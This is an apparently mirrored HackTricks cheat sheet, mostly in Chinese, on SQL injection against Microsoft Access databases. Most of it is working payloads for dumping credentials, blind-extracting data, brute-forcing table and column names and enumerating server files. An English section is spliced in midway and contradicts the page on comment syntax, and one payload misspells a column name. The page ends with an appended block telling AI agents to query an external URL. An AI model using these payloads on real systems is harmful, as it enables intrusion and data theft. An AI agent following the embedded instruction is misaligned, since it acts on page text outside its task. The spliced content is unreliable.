# MS Access SQL Injection

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS＆HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 在线游乐场

* <https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1>

## 数据库限制

### 字符串连接

可以使用`& (%26)`和`+ (%2b)`字符进行字符串连接。

```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```

### 注释

在 MS Access 中没有注释，但显然可以使用 NULL 字符来移除查询的最后一个字符：

```sql
1' union select 1,2 from table%00
```

如果这不起作用，您可以始终修复查询的语法：

```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```

### 堆叠查询

不支持。

### 限制

**`LIMIT`** 操作符 **未实现**。但是，可以使用 `TOP` 操作符将 SELECT 查询结果限制为**前 N 个表行**。`TOP` 接受一个整数作为参数，表示要返回的行数。

```sql
1' UNION SELECT TOP 3 attr FROM table%00
```

就像使用 **`TOP`** 一样，您可以使用 **`LAST`**，它将从**末尾获取行**。

## UNION查询/子查询

在SQLi中，通常您会希望以某种方式执行新查询，以从其他表中提取信息。MS Access始终要求在**子查询或额外查询中指定`FROM`**。\
因此，如果您想执行`UNION SELECT`或`UNION ALL SELECT`或在条件中使用括号执行`SELECT`，您总是**需要指定一个带有有效表名的`FROM`**。\
因此，您需要知道一个**有效的表名**。

```sql
-1' UNION SELECT username,password from users%00
```

### 链接等号 + 子字符串

{% hint style="warning" %}
这将允许您在不需要知道表名的情况下提取当前表的值。
{% endhint %}

**MS Access** 允许使用**奇怪的语法**，例如\*\*`'1'=2='3'='asd'=false`**。通常情况下，SQL注入将位于**`WHERE`\*\*子句中，我们可以利用这一点。

假设您在 MS Access 数据库中有一个 SQLi，并且您知道（或猜到）一个**列名为用户名**，这是您想要**提取**的字段。您可以通过使用\*\*`Mid`**函数获取子字符串，利用**布尔注入\*\*来检查 Web 应用程序在使用链接等号技术时的不同响应，并可能提取内容。

```sql
'=(Mid(username,1,3)='adm')='
```

如果你知道要转储的**表名**和**列名**，可以使用`Mid`、`LAST`和`TOP`的组合来通过布尔SQLi**泄露所有信息**：

```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```

*Feel free to check this in the online playground.*

### 暴力破解表名

使用链接等号技术，您还可以使用以下方式**暴力破解表名**：

```sql
'=(select+top+1+'lala'+from+<table_name>)='
```

## MS Access SQL Injection

### Introduction

In Microsoft Access databases, SQL injection can be performed using the `UNION` keyword to retrieve data from other tables. This technique can be used to extract sensitive information from the database.

### Steps to Perform SQL Injection in MS Access

1. Identify the vulnerable input fields.
2. Use a SQL injection payload with the `UNION` keyword to retrieve data from other tables.
3. Determine the number of columns in the target table using `ORDER BY` clause.
4. Craft a SQL injection payload to extract data from the desired columns.
5. Use tools like SQLMap to automate the SQL injection process.

### Example

If the vulnerable query is `SELECT name, email FROM users WHERE id = '<VULNERABLE_INPUT>';`, the following payload can be used:

```sql
' UNION SELECT 1, username FROM admin--
```

This payload will retrieve the username from the `admin` table and display it in the results of the original query.

### Prevention

To prevent SQL injection in MS Access, use parameterized queries or stored procedures to validate and sanitize user input before executing SQL queries. Additionally, limit the privileges of database users to reduce the impact of a successful SQL injection attack.

```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```

*Feel free to check this in the online playground.*

* Sqlmap common table names: <https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt>
* There is another list in <http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html>

### Brute-Forcing Columns names

您可以使用链接等于技巧**暴力破解当前列名**：

```sql
'=column_name='
```

或者使用 **group by**：

```sql
-1' GROUP BY column_name%00
```

或者您可以使用以下方法对**不同表**的列名进行暴力破解：

```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```

### 转储数据

我们已经讨论了[**链接等号技术**](#chaining-equals-+-substring) **来从当前表和其他表中转储数据**。但还有其他方法：

```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```

简而言之，该查询使用“if-then”语句来触发成功时的“200 OK”，否则触发“500 Internal Error”。利用TOP 10运算符，可以选择前十个结果。随后使用LAST允许仅考虑第十个元组。在该值上，使用MID运算符可以执行简单的字符比较。通过适当更改MID和TOP的索引，我们可以获取所有行的“username”字段内容。

### 基于时间的

查看<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>

### 其他有趣的函数

* `Mid('admin',1,1)` 从位置1获取长度为1的子字符串（初始位置为1）
* `LEN('1234')` 获取字符串长度
* `ASC('A')` 获取字符的ASCII值
* `CHR(65)` 根据ASCII值获取字符串
* `IIF(1=1,'a','b')` if then
* `COUNT(*)` 计算项目数量

## 枚举表

从[**这里**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)可以看到一个获取表名的查询：

```sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```

然而，请注意，通常会发现SQL注入攻击，其中**无法访问读取表`MSysObjects`**。

## 文件系统访问

### Web根目录完整路径

了解**web根目录的绝对路径可能有助于进一步攻击**。如果应用程序错误没有完全隐藏，可以尝试从不存在的数据库中选择数据来揭示目录路径。

`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`

MS Access会以**包含Web目录完整路径的错误消息**做出响应。

### 文件枚举

以下攻击向量可用于**推断远程文件系统上文件的存在**。如果指定的文件存在，MS Access会触发一个错误消息，通知数据库格式无效：

`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`

另一种枚举文件的方法是**指定数据库.表项**。**如果**指定的**文件存在**，MS Access会显示一个**数据库格式错误消息**。

`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`

### .mdb文件名猜测

可以使用以下查询来推断**数据库文件名（.mdb）**：

`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`

其中**name\[i]是一个.mdb文件名**，**realTable是数据库中存在的表**。尽管MS Access总是会触发一个错误消息，但可以区分无效文件名和有效的.mdb文件名。

### .mdb密码破解器

[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html)是一个免费实用程序，可用于恢复Microsoft Access 95/97/2000/XP或Jet Database Engine 3.0/4.0的主数据库密码。

## 参考资料

* <http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/sql-injection/ms-access-sql-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
